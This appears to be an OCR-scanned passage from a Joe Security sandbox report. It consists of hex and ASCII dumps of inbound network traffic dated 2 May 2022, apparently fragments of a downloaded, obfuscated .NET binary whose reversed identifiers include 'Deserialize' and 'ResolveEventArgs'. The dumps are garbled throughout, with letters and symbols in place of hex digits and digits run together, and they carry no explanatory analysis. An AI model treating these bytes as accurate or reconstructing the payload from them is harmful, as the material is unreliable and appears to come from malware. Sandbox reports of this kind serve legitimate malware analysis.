6553 00 65 7a 69 6¢ 61 69 72 65 73 65 44 00 34 36 74 6e 49 00 6e 6f

Data Ascii: EMCvtgYylbmessAgnitseugeR_tegsgrAtnevEevloseRgbtEgXChievloseRecruoseR_ddareldnaHtnevEevl
oseRylbmessA_tegKhTIMdMejmXouT68JpeDn5dJInuJB2 yranoitciDelitaloVsl461VKHPCrgURmLbUgSEBRWUX
G5jd2NurmIDPBedj22xnPIx6juw2ywmUezilaireSezilaireseD46tnino
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 2895 IN
2022-05-02 11:03:15 UTC 2911 IN
2022-05-02 11:03:15 UTC 2927 IN
2022-05-02 11:03:15 UTC 2943 IN
2022-05-02 11:03:15 UTC 2959 IN
2022-05-02 11:03:15 UTC 2975 IN
2022-05-02 11:03:15 UTC 2991 IN
2022-05-02 11:03:15 UTC 3007 IN
2022-05-02 11:03:15 UTC 3023 IN
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Data

Data Raw: 48 58 56 64 4a 74 5a 33 78 4a 6a 00 31 45 4d 37 4a 4a 65 42 69 77 66 35 4a 55 34 36 59 63 6f 00 52 43 78
50 64 67 37 34 4f 76 4f 44 4a 61 77 68 30 50 4a 00 72 55 36 41 68 6e 78 31 36 4d 58 4c 4a 4c 39 5a 73 56 48 00 71 63
38 4e 70 61 30 69 68 31 48 33 4a 30 50 37 57 37 62 00 45 69 66 43 66 35 54 32 38 74 54 42 63 51 77 72 66 4a 57 00 42
41 33 6a 68 4f 78 42 67 44 75 38 63 44 42 57 4d 37 58 00 62 79 5a 55 65 64 6d 35 31 43 47 59 63 74 32 6a 58 74 55 00
39 55 4c 58 4c 68 73 6e 6¢ 39 51 52 63 6d 33 68 39 47 52 00 68 30 6e 54 70 73 67 4e 71 50 4a 31 63 58 41 43 70 48 54
0042 47 41 6¢ 70 33 61 34 46 52 67 6d 63 32 43 61 57 68 51 00 50 36 4b 57 31 65 6a 59 45 77 6f 4a 63 6b 78 47 48 6f
4c 00 37 43 41 31 55 4d 77 61 48 71 64 43 63 43 47 75 6b 68 50 00 50 5a 31

Data Ascii: HXVdJtZ3xJj1EM7JJeBiwf5JU46Y coRCxPdg740vODJawhOPJrU6Ahnx16MXLJIL9ZsVHqc8Npalihl
H3JOP7W7bEIfCf5T28tTBcQwrfJWBA3jhOxBgDu8cDBWM7XbyZUedm51CGY ct2jXtU9ULXLhsnI9QRcm3h9GRhONTp
sgNgPJ1cXACpHTBGAIp3a4FRgmc2CaWhQP6KW1ejYEwoJckxGHoL7CA1UMwaHqdCcCGukhPPZ1

Data Raw: 30 2d 32 33 32 38 2d 39 61 34 34 2d 61 37 37 66 2d 39 36 63 64 31 33 64 30 7b 3e 65 6¢ 75 64 6f 4d 3c 00 36
3532 3d 65 7a 69 53 65 70 79 54 74 69 6e 49 79 61 72 72 41 63 69 74 61 74 53 5f 5f 00 34 36 3d 65 7a 69 53 65 70 79
54 74 69 6e 49 79 61 72 72 41 63 69 74 61 74 53 5f 5f 00 30 34 3d 65 7a 69 53 65 70 79 54 74 69 6e 49 79 61 72 72 41
63 69 74 61 74 53 5f 5f 00 32 33 3d 65 7a 69 53 65 70 79 54 74 69 6e 49 79 61 72 72 41 63 69 74 61 74 53 5f 5f 00 30 33
3d 65 7a 69 53 65 70 79 54 74 69 6e 49 79 61 72 72 41 63 69 74 61 74 53 5f 5f 00 38 31 3d 65 7a 69 53 65 70 79 54 74 6
96e 497961 72 72 41 63 69 74 61 74 53 5f 5f 00 36 31 3d 65 7a 69 53 65 70 79 54 74 69 6e 49 79 61 72 72 41 63 69 74
61 74 53 5f 5f 00 7d 36 31 38 43 39 30 33 45 46 38 46 45 2d 31 30

Data Ascii: 0-2328-9a44-a77f-96cd13d0{>eludoM<652=eziSepyTtinlyarrAcitatS__46=eziSepyTtinlyarrAcitatS__04=eziS
epyTtinlyarrAcitatS__23=eziSepyTtinlyarrAcitatS__03=eziSepyTtinlyarrAcitatS__81=eziSepyTtinlyarrAcitatS__61=ez
iSepyTtinlyarrAcitatS__}618C903EF8FE-10

Data Raw: 11 a9 11 93 11 64 11 37 10 {7 10 cc 10 a7 Of e4 Of c4 Of a4 Of 98 Of 61 Of 4c Of 17 Oe d7 Oe 84 Oe 6a Oe 11 0d
€6 0d al 0d 4e 0d 41 0d 32 Oc e8 Oc a4 04 al 03 94 03 68 03 5f 03 51 03 4c 03 2e 02 fc 02 f4 07 4c 00 00 00 00 07 4b 00
00 00 00 07 4a 00 00 00 00 07 49 00 00 00 00 07 48 00 00 00 00 07 47 00 00 00 00 07 46 00 00 00 00 07 45 00 00 00 00
07 41 00 00 00 00 07 40 00 00 00 00 07 3f 00 00 00 00 07 3e 00 00 00 00 07 3d 00 00 00 00 07 3c 00 00 00 00 04 f1 00
00 00 08 04 f0 00 00 00 04 04 ef 00 00 00 04 04 ee 00 00 00 04 04 ed 00 00 00 04 04 ec 00 00 00 00 04 ea 00 00 00 04
04 €9 00 00 00 04 04 e8 00 00 00 04 04 e7 00 00 00 04 04 e6 00 00 00 00 04 e4 00 00 00 10 04 e3 00 00 00 08 04 e2 00
00 00 08 04 e1 00 00 00 08 04 €0 00 00 00 08 04 df 00 00 00 08 04

Data Ascii: d7aLjNA2h_QL.LKJIHGFEA@?>=<

Data Raw: 04 80 00 00 a2 Oe 00 00 00 39 00 d7 00 00 00 62 00 00 03 d1 12 55 00 00 9a 46 00 00 00 39 12 40 00 00 al
88 00 00 03 99 03 1c 00 00 94 e4 00 00 00 4c 04 80 00 00 a0 e3 00 00 00 39 Oe 63 00 00 a0 da 00 00 02 79 Oe ac 00 00
93 53 00 00 00 44 Oe 7b 00 00 98 b3 00 00 00 44 11 fd 00 00 a0 cb 00 00 03 89 11 f7 00 00 a0 c2 00 00 03 81 11 ed 00 O
071 47 00 00 00 3c 04 4a 00 00 a0 8¢ 00 00 03 b1 11 a3 00 00 75 f3 00 00 03 a1 00 d7 00 00 00 62 00 00 03 99 11 84 00
00 a0 06 00 00 01 89 11 7b 00 00 9f fc 00 00 03 81 11 75 00 00 9f eb 00 00 03 89 11 6f 00 00 9f db 00 00 00 39 11 69 00
00 9f d2 00 00 03 81 11 45 00 00 9c 64 00 00 00 39 02 f0 00 00 9f 48 00 00 02 51 11 06 00 00 9f 42 00 00 01 01 11 1e 00
00 9e d3 00 00 03 61 11 11 00 00 9e a1 00 00 02 51 11 06 00 00 9e

Data Ascii: 9bUF9@L9cySD{DqG<Jub{uo9iEdIHQBaQ

Data Raw: 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 04 00 00 00
00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00 05 00 00 00 00 71 05 00 04 00 00
00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00 05 00
00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02
00 00 00 00 71 05 00 02 00 00 00 00 fO 54 00 03 00 00 00 01 18 af 00 02 00 00 00 00 f0 54 00 03 00 00 00 01 18 af 00 02
00 00 00 00 ec 9f 00 02 00 00 00 00 ec 9f 00 02 00 00 00 00 cd bb 00 02 00 00 00 00 ec b4 00 01 00 00 00 00 cd bb 00
02 00 00 00 00 ec b4 00 01 00 00 00 00 cd bb 00 03 00 00 00 00 cd e7 00

Data Ascii: qqqqqqadqaaqaaqaaqaaTT

Data Raw: 00 00 00 00 cd 31 00 03 00 00 00 00 cd e7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 f3 b9 00 05 00 00 00 00
0 5b 00 04 00 00 00 00 cd 31 00 03 00 00 00 00 cd e7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 3 b9 00 05 00 00 00
00 f0 5b 00 04 00 00 00 00 cd 31 00 03 00 00 00 00 cd e7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 0 5b 00 04 00 00
00 00 cd 31 00 03 00 00 00 00 cd e7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 fO 5b 00 04 00 00 00 00 cd 31 00 03 00 0
000 00 cd €7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 f3 b9 00 04 00
00 00 00 cd 31 00 03 00 00 00 00 cd e7 00 02 00 00 00 00 cd bb 00 01 00 00 00 00 cd 31 00 03 00 00 00 00 cd e7 00 02
00 00 00 00 cd bb 00 01 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00

Data Ascii: 1[1[1[1[1qql1qq

Data Raw: 00 00 00 00 03 6e 00 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00
00 02 d1 00 01 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00 00 00 00 71 05 00 02 00 00
00 00 71 05 00 01 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00
00 00 00 03 d2 00 07 00 00 00 00 03 b7 00 06 00 00 00 00 03 6e 00 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03
00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00 00 00 00 03 6e 00 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00
03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 02 dc
00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00 00 00 00 03 ad 00

Data Ascii: npggpnpnpgq

Data Raw: 88 8¢ 1a 91 30 ca 00 00 75 59 00 46 00 03 00 00 00 00 1a 91 02 d4 00 00 70 51 18 10 00 00 00 07 88 78 1a
91 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a 91 c0 c0 00 01 7e c2 00 16 00 00 00 07 88 64 1a 91 30 ca 00 00 75 59
00 46 00 03 00 00 00 00 1a 91 02 d4 00 00 70 51 18 10 00 00 00 07 88 50 1a 91 Oe 4c 00 00 00 62 18 06 00 03 00 00 00
00 1a 8f cO ad 00 01 7e c2 00 16 00 00 00 07 88 38 1a 8d c0O a2 00 00 75 59 00 46 00 03 00 00 00 00 1a 8d 02 d4 00 00
7051 18 10 00 00 00 07 88 24 1a 8d Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a 8c cO 94 00 01 7e c2 00 16 00 00 00
07 88 10 1a 8b a6 c3 00 00 75 59 00 46 00 03 00 00 00 00 1a 8b 02 d4 00 00 70 51 18 10 00 00 00 07 87 fc 1a 8b Oe 4c
00 00 00 62 18 06 00 03 00 00 00 00 1a 8a cO 84 00 01 7e c2 00 16 00 00 00

Data Ascii: OuYFpQxLb~dOuYFpQPLb~8uYFpQ$Lb~uYFpQLb~

Data Raw: 5e 74 17 ed a6 c3 00 00 75 59 00 46 00 03 00 00 00 00 17 ed 02 d4 00 00 70 51 18 10 00 00 00 07 5e 60 17
ed Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 17 eb ac 39 00 01 7e c2 00 16 00 00 00 07 5e 4c 17 e9 ac 2f 00 00 75 59
00 46 00 03 00 00 00 00 17 €9 02 d4 00 00 70 51 18 10 00 00 00 07 5e 38 17 €9 Oe 4c 00 00 00 62 18 06 00 03 00 00 00
00 17 e5 ac 1c 00 01 7e c2 00 16 00 00 00 07 5e 20 17 el ac 11 00 00 75 59 00 46 00 03 00 00 00 00 17 el 02 d4 00 00
7051 18 10 00 00 00 07 5e Oc 17 el Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 17 de ab fd 00 01 7e c2 00 16 00 00 00
07 5d f4 17 db ab f1 00 00 75 59 00 46 00 03 00 00 00 00 17 db 02 d4 00 00 70 51 18 10 00 00 00 07 5d €0 17 db Oe 4c
00 00 00 62 18 06 00 03 00 00 00 00 17 d8 ab df 00 01 7e c2 00 16 00 00 00

Data Ascii: MtuYFpQ~' Lb9~"/uYFpQ~8Lb~" uYFpQ~Lb~]uYFpQ]Lb~
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 3039 IN
2022-05-02 11:03:15 UTC 3055 IN
2022-05-02 11:03:15 UTC 3058 IN
2022-05-02 11:03:15 UTC 3074 IN
2022-05-02 11:03:15 UTC 3090 IN
2022-05-02 11:03:15 UTC 3106 IN
2022-05-02 11:03:15 UTC 3122 IN
2022-05-02 11:03:15 UTC 3138 IN
2022-05-02 11:03:15 UTC 3154 IN
2022-05-02 11:03:15 UTC 3170 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 34 90 14 ed 95 c¢5 00 00 75 59 00 46 00 03 00 00 00 00 14 ed 02 d4 00 00 70 51 18 10 00 00 00 07 34 7c 14
ed Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 14 ed 95 b8 00 01 7e c2 00 16 00 00 00 07 34 68 14 ed 30 ca 00 00 75 59
00 46 00 03 00 00 00 00 14 ed 02 d4 00 00 70 51 18 10 00 00 00 07 34 54 14 ed Oe 4c 00 00 00 62 18 06 00 03 00 00 00
00 14 eb 95 a5 00 01 7e c2 00 16 00 00 00 07 34 3c 14 e9 95 9a 00 00 75 59 00 46 00 03 00 00 00 00 14 e9 02 d4 00 00
7051 18 10 00 00 00 07 34 28 14 e9 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 14 9 95 8b 00 01 7e c2 00 16 00 00 00
07 34 14 14 €9 91 e4 00 00 75 59 00 46 00 03 00 00 00 00 14 €9 02 d4 00 00 70 51 18 10 00 00 00 07 34 00 14 e9 Oe 4c
00 00 00 62 18 06 00 03 00 00 00 00 14 e7 95 79 00 01 7e c2 00 16 00 00 00

Data Ascii: 4uYFpQ4|Lb~4hOuYFpQA4TLb~4<uYFpQ4(Lb~4uYFpQ4Lby~

Data Raw: Ob 3c 12 21 7f f0 00 00 75 59 00 46 00 03 00 00 00 00 12 21 02 d4 00 00 70 51 18 10 00 00 00 07 Ob 28 12 21
0Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 12 1e 7f dd 00 01 7e c2 00 16 00 00 00 07 Ob 10 12 1b 7f d2 00 00 75 59 00
46 00 03 00 00 00 00 12 1b 02 d4 00 00 70 51 18 10 00 00 00 07 Oa fc 12 1b Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00
12 19 7f c0 00 01 7e c2 00 16 00 00 00 07 Oa e8 12 17 7f b6 00 00 75 59 00 46 00 03 00 00 00 00 12 17 02 d4 00 00 70 5
11810 00 00 00 07 O0a d4 12 17 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 12 17 7f a7 00 01 7e c2 00 16 00 00 00 07
0a c0 12 17 7f a0 00 00 75 59 00 46 00 03 00 00 00 00 12 17 02 d4 00 00 70 51 18 10 00 00 00 07 Oa ac 12 17 Oe 4c 00
00 00 62 18 06 00 03 00 00 00 00 12 16 7f 93 00 01 7e c2 00 16 00 00 00

Data Ascii: <!luYF!pQ(!Lb~uYFpQLb~uYFpQLb~uYFpQLb~

Data Raw: 00 00 00 11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 04 5¢ 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11
1 7d 04 00 01 7e c2 00 16 00 00 00 07 04 48 11 f1 70 ae 00 00 75 59 00 46 00 03 00 00 00 00 11 f1 02 d4 00 00 70 51
18 10 00 00 00 07 04 34 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11 f1 7c f7 00 01 7e c2 00 16 00 00 00 07 04 20
11 f1 70 ae 00 00 75 59 00 46 00 03 00 00 00 00 11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 04 Oc 11 f1 Oe 4c 00 00 00 62
18 06 00 03 00 00 00 00 11 f1 7c ea 00 01 7e c2 00 16 00 00 00 07 03 f8 11 f1 39 8f 00 00 75 59 00 46 00 03 00 00 00 00
11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 03 e4 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11 f1 7c dd 00 01 7e c2
00 16 00 00 00 07 03 d0 11 f1 36 6f 00 00 75 59 00 46 00 03

Data Ascii: pQ\Lb}~HpuYFpQA4Lb|~ puYFpQLb|~9uYFpQLb|~6ouYF

Data Raw: 06 26 50 0f 81 0d 1c 00 01 5f e1 02 ¢3 00 00 00 06 26 40 Of 7f 69 d7 00 00 00 62 18 86 00 00 00 06 25 ec Of 7f
69 c7 00 01 60 61 00 93 00 00 00 06 25 dc Of 7f 02 d8 00 01 60 4c 00 93 00 00 00 06 25 c8 Of 7f 02 d4 00 00 70 51 18 91
00 00 00 06 25 b4 Of 7f 02 f8 00 01 57 43 02 c3 00 00 00 06 25 94 Of 7e 68 c4 00 01 5a 24 02 ¢3 00 00 00 06 25 38 Of 7d
68 c4 00 01 5a Oe 02 ¢3 00 00 00 06 24 d8 Of 7d 02 8 00 01 5a 03 02 c3 00 00 00 06 24 b8 Of 7d 68 b5 00 01 59 f8 02 ¢3
00 00 00 06 24 60 Of 7¢ 68 8f 00 01 57 22 02 ¢3 00 00 00 06 24 10 0f 7b 68 51 00 01 5f ec 02 c3 00 00 00 06 23 ec Of 7b
0d 1c 00 01 5f e1 02 3 00 00 00 06 23 dc Of 7a 68 51 00 01 56 eb 02 ¢3 00 00 00 06 23 cO 0f 79 68 51 00 01 56 0 02 c3
00 00 00 06 22 a4 0f 77 69 b5 00 00 00 62 18 86 00 00

Data Ascii: &P_&@ib%i*a% LY%pQuUWC%~hZ$%8}hZ$}Z$HY$ [hW'${hQ_#{_#zhQVA#yhQV"wib

Data Raw: 04 60 c4 Oc 25 59 57 00 01 34 05 00 81 00 00 00 04 5f f8 Oc 1e 59 2e 00 01 33 eb 00 83 00 00 00 04 5a 68 Oc
1a59 1c 00 01 33 e0 00 81 00 00 00 04 59 38 Oc 18 59 12 00 01 33 d8 01 c5 00 00 00 04 59 2c Oc 17 59 09 00 01 33 d8
00 8500 00 00 04 59 14 Oc 17 02 f8 00 01 26 1c 01 c5 00 00 00 04 59 08 Oc 17 02 d4 00 00 70 51 18 91 00 00 00 04 58
f4 0c 16 1b 73 00 00 ae 04 01 c6 00 03 00 00 00 00 Oc 12 58 9 00 00 ad dd 01 c¢6 00 03 00 00 00 00 Oc 10 58 el 00 00 7
559 01 c6 00 03 00 00 00 00 Oc Oe Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 Oc Oe 58 db 00 01 33 7f 00 93 00 00 00 04
58 e4 Oc Oe 02 d8 00 01 33 6a 00 93 00 00 00 04 58 d0 Oc Oe 02 d4 00 00 70 51 18 91 00 00 00 04 58 bc Oc 0d 36 a2 00
00 00 62 18 83 00 00 00 04 58 48 Oc Oc 00 e1 00 00 00 62 18 83 00 00

Data Ascii: "‘%YW4_Y.3ZhY3Y8Y3Y,Y3Y&YpQXsXXuYLbX3X3jXpQX6bXHb

Data Raw: 02 37 1c 07 ee 00 b3 00 00 00 62 18 83 00 00 00 02 36 f4 07 ee 02 d4 00 00 70 51 18 91 00 00 00 05 Ob b0 07
ed 3d ae 00 00 ae 04 01 ¢6 00 03 00 00 00 00 07 ea 16 90 00 00 ad dd 01 ¢6 00 03 00 00 00 00 07 €9 3d a7 00 00 75 59
01 ¢6 00 03 00 00 00 00 07 e7 Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 07 €7 3d 9d 00 00 f5 f0 00 93 00 00 00 05 Ob
a0 07 7 02 d8 00 00 f5 db 00 93 00 00 00 05 Ob 8c 07 e7 02 d4 00 00 70 51 18 91 00 00 00 05 Ob 78 07 €6 34 28 00 00
el e6 08 96 00 00 00 05 Ob 50 07 €6 02 d8 00 00 e1 d1 08 96 00 00 00 05 Ob 30 07 6 3d 92 00 00 5 b1 00 93 00 00 00
05 Ob 20 07 €6 02 d8 00 00 f5 9¢ 00 93 00 00 00 05 Ob Oc 07 €6 02 d4 00 00 70 51 18 91 00 00 00 05 Oa f8 07 €5 3d 8b
00 00 f4 4d 00 96 00 00 00 05 Oa a4 07 e4 34 9c 00 00 f5 8f 00 96 00 00

Data Ascii: 7b6pQ==uYLb=pQx4(P0= pQ=M4

Data Raw: 01 19 1c 02 76 22 39 00 00 c1 8b 00 93 00 00 00 01 19 Oc 02 76 02 d8 00 00 c1 76 00 93 00 00 00 01 18 f8 02
76 02 d4 00 00 70 51 18 91 00 00 00 01 18 e4 02 75 14 5d 00 00 c1 6b 00 91 00 00 00 01 18 c4 02 73 22 2c 00 00 c1 3b
00 9100 00 00 01 18 4c 02 73 02 d4 00 00 ¢1 30 00 91 00 00 00 01 17 1c 02 72 1e f2 00 00 02 d1 00 93 00 00 00 01 16
ac 0272 02 d4 00 00 70 51 18 91 00 00 00 01 16 98 02 72 Oe a0 00 00 c1 06 00 93 00 00 00 01 16 84 02 72 11 06 00 00
c0f1 .00 93 00 00 00 01 16 70 02 72 04 f3 00 00 cO dc 00 93 00 00 00 01 16 5¢ 02 72 Oe a0 00 00 cO c¢7 00 93 00 00 00
0116 48 02 72 12 7b 00 00 cO a9 00 93 00 00 00 01 16 30 02 72 22 08 00 00 cO 94 00 93 00 00 00 01 16 20 02 72 02 d8
00 00 cO 7f 00 93 00 00 00 01 16 Oc 02 72 02 d4 00 00 70 51 18 91 00 00

Data Ascii: v'9vvvpQu]ks",;LsOrrpQrrpr\rHr{Or" rrpQ

Data Raw: 38 00 13 99 ec 00 01 96 2d 00 13 99 dd 00 01 96 22 00 13 99 bf 00 01 96 17 00 13 99 b0 00 01 96 Oc 00 13 99
a3 00 01 96 01 00 13 99 85 00 01 95 f6 00 13 99 69 00 01 95 eb 00 13 99 45 00 01 95 €0 00 13 99 27 00 01 95 d5 00 13
99 09 00 01 95 ca 00 13 98 €9 00 01 95 bf 00 13 98 da 00 01 95 b4 00 13 98 ch 00 01 95 a9 00 13 98 b1 00 01 95 9e 00
1398 95 00 01 95 93 00 13 98 85 00 01 95 88 00 13 98 6b 00 01 95 7d 00 13 98 55 00 01 95 72 00 13 98 45 00 01 95 67
00 13 98 2d 00 01 95 5c 00 13 98 13 00 01 95 51 00 13 98 06 00 01 95 46 00 13 97 d6 00 01 95 3b 00 13 97 be 00 01 95
3000 13 97 a8 00 01 95 25 00 13 97 8¢ 00 01 95 1a 00 13 97 7b 00 01 95 Of 00 13 97 6b 00 01 95 04 00 13 97 4d 00 01
94 f9 00 13 97 33 00 01 94 ee 00 13 97 23 00 01 94 e3 00 13 97 15 00 01

Data Ascii: 8-"iE'K}UrEg-\QF;0%{kM3#

Data Raw: 7e 00 03 05 05 00 00 03 d4 00 03 05 05 00 00 03 72 00 03 05 05 00 00 06 11 00 03 05 05 00 00 05 fd 00 03
05 05 00 00 04 f9 00 03 05 05 00 00 05 cb 00 03 Oc 90 00 00 04 79 00 03 Oc 90 00 00 03 b9 00 03 05 05 00 00 03 64 00
03 05 05 00 00 06 Oc 00 03 05 05 00 00 05 f8 00 03 05 05 00 00 04 f4 00 03 Oc 90 00 00 05 c6 00 03 Oc 90 00 00 04 74 O
003 0c 90 00 00 03 b2 00 03 Oc 90 00 00 03 5f 00 03 Oc 90 00 00 06 07 00 03 Oc 90 00 00 03 cd 00 03 05 05 00 00 03 c3
00 03 05 05 00 00 03 c8 00 03 05 05 00 00 03 be 00 03 05 05 00 00 03 ad 00 03 05 05 00 00 02 de 00 03 05 05 00 00 03
d2 00 03 05 05 00 00 03 b7 00 03 05 05 00 00 03 6e 00 03 05 05 00 00 03 70 00 03 10 65 00 00 02 dc 00 03 10 65 00 00
02 da 00 03 Oc 90 00 00 02 d1 00 03 02 e1 00 00 03 70 00 03 02 e1 00 00

Data Ascii: ~rydt_npeep

Data Raw: 00 00 00 3e 01 00 00 01 00 17 42 0a 15 00 65 00 00 00 00 00 00 3d ed 00 00 01 00 17 3e Oa 14 00 65 00 00
00 00 00 00 3d d9 00 00 01 00 17 3a 0a 13 00 65 00 00 00 00 00 00 3d c5 00 00 01 00 17 36 Oa 12 00 65 00 00 00 00 00
00 3d b1 00 00 01 00 17 32 Oa 11 00 65 00 00 00 00 00 00 3d 9d 00 00 01 00 17 2e Oa 10 00 65 00 00 00 00 00 00 3d 89
00 00 01 00 17 2a Oa Of 00 65 00 00 00 00 00 00 3d 75 00 00 01 00 17 26 0a Oe 00 65 00 00 00 00 00 00 3d 61 00 00 01
00 17 22 0a 0d 00 65 00 00 00 00 00 00 3d 4d 00 00 01 00 17 1e Oa Oc 00 65 00 00 00 00 00 00 3d 39 00 00 01 00 17 1a
0a Ob 00 65 00 00 00 00 00 00 3d 25 00 00 01 00 17 16 Oa 0a 00 65 00 00 00 00 00 00 3d 11 00 00 01 00 17 12 0a 09 00
65 00 00 00 00 00 00 3c fd 00 00 01 00 17 Oe Oa 08 00 65 00 00 00 00 00 00

Data Ascii: >Be=>e=:e=6e=2e=.e=*e=u&e=a"e=Me=9e=%e=e<e
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 3186 IN
2022-05-02 11:03:15 UTC 3202 IN
2022-05-02 11:03:15 UTC 3218 IN
2022-05-02 11:03:15 UTC 3234 IN
2022-05-02 11:03:15 UTC 3250 IN
2022-05-02 11:03:15 UTC 3266 IN
2022-05-02 11:03:15 UTC 3282 IN
2022-05-02 11:03:15 UTC 3298 IN
2022-05-02 11:03:15 UTC 3314 IN
2022-05-02 11:03:15 UTC 3330 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 70 00 10 01 0d 00 36 01 ac 00 5d 00 00 00 00 00 00 03 6e 00 10 01 0d 00 36 01 71 00 61 00 00 00 00 00 00
02 dc 00 00 01 05 00 36 00 22 00 61 00 00 00 00 00 00 02 da 00 00 01 05 00 36 00 20 00 5d 00 00 00 00 00 00 02 d1 00
10 01 0d 00 35 00 20 00 59 00 00 00 00 00 00 03 64 00 10 01 80 00 2b 00 1f 00 59 00 00 00 00 00 00 03 5f 00 10 01 00 O
0 2b 00 1f 00 5d 00 00 00 00 00 00 03 4c 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 03 39 00 00 01 13 00 2b 00 1f
00 5d 00 00 00 00 00 00 03 26 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 03 13 00 00 01 13 00 2b 00 1f 00 5d 00
00 00 00 00 00 03 00 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 02 €3 00 00 01 13 00 2a 00 19 00 59 00 00 00 00
00 00 02 de 00 00 01 00 00 1e 00 11 00 59 00 00 00 00 00 00 02 dc 00 10

Data Ascii: p6]n6ga6"a6 |5 Yd+Y_+]L+]9+]&+]+]+]*YY

Data Raw: b8 28 05 2b 4a 2a 06 00 1c 96 6f 01 Oe 00 Oe 02 Oe 33 40 97 cf 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 04 f4
d0 41 32 b9 3e 28 05 2b 4a 2a 06 00 1c 92 6f 01 Oe 00 Oe 02 Oe 3b 34 34 30 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 04
3 d0 44 7f 03 8b 28 05 2b 4a 2a 06 00 1c 8e 6f 01 Oe 00 Oe 02 Oe 3e 10 e8 72 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00
04 f2 d0 6b 06 91 30 28 05 2b 4a 00 00 2a 06 00 1c 8a 6f 00 Oe 01 Oe 3d 69 12 f5 28 05 2b 46 00 2a 06 00 Oc 29 28 02 0
004 f1 dO 6a 0d bb 96 28 05 2b 4a 00 00 2a 06 00 1c 86 6f 00 Oe 01 Oe 64 68 e2 48 28 05 2b 46 00 2a 06 00 Oc 29 28 02
00 04 f0 d0 2e 5d 96 b9 28 05 2b 4a 2a 06 00 1c 82 6f 01 Oe 00 Oe 02 Oe 3e 33 3d ec 28 05 2b 4e 00 2a 06 00 Oc 29 28
02 00 04 ef d0 67 61 f5 a0 28 05 2b 4a 00 00 2a 06 00 1c 7e 6f 00 Oe

Data Ascii: (+J*03@ (+N*)(A2>(+J*0;440(+N*)(D(+J*0>r(+N*)(kO(+J*0=i(+F*)(j(+J*odhH(+F*)(.](+J*0>3=(+N*)(ga(+J*~0

Data Raw: 4a 00 00 2a 06 00 16 6e 6f 00 Oe 01 Oe 6b 23 21 d7 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 6a dO 6d Of d3
0a 28 05 2b 4a 2a 06 00 16 6a 6f 01 Oe 00 Oe 02 Oe 30 40 b6 5b 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 03 69 d0 63 41
c9 6e 28 05 2b 4a 00 00 2a 06 00 16 66 6f 00 Oe 01 Oe 35 09 04 32 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 68 d0 50
61 aa a6 28 05 2b 4a 00 00 2a 06 00 16 62 6f 00 Oe 01 Oe 5b 6d b9 c8 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 67 dO 6
4 5ac5 70 28 05 2b 4a 00 00 2a 06 00 16 5e 6f 00 Oe 01 Oe 6d 2d 43 a0 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 66 dO
41 73 4f 9 28 05 2b 4a 00 00 2a 06 00 16 5a 6f 00 Oe 01 Oe 3e 7f 85 62 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 65 dO
64 2f 39 10 28 05 2b 4a 2a 06 00 16 56 6f 01 Oe 00 Oe 02 Oe 5f Oc

Data Ascii: J*nok#!(+F*)(jm(+J*jo0@[(+N*)(icAn(+J*fo52(+F*)(hPa(+J*bo[m(+F*)(gdZp(+J**om-C(+F*)(fASO(+J*Zo>b(+F*)
(ed/9(+J*Vo_

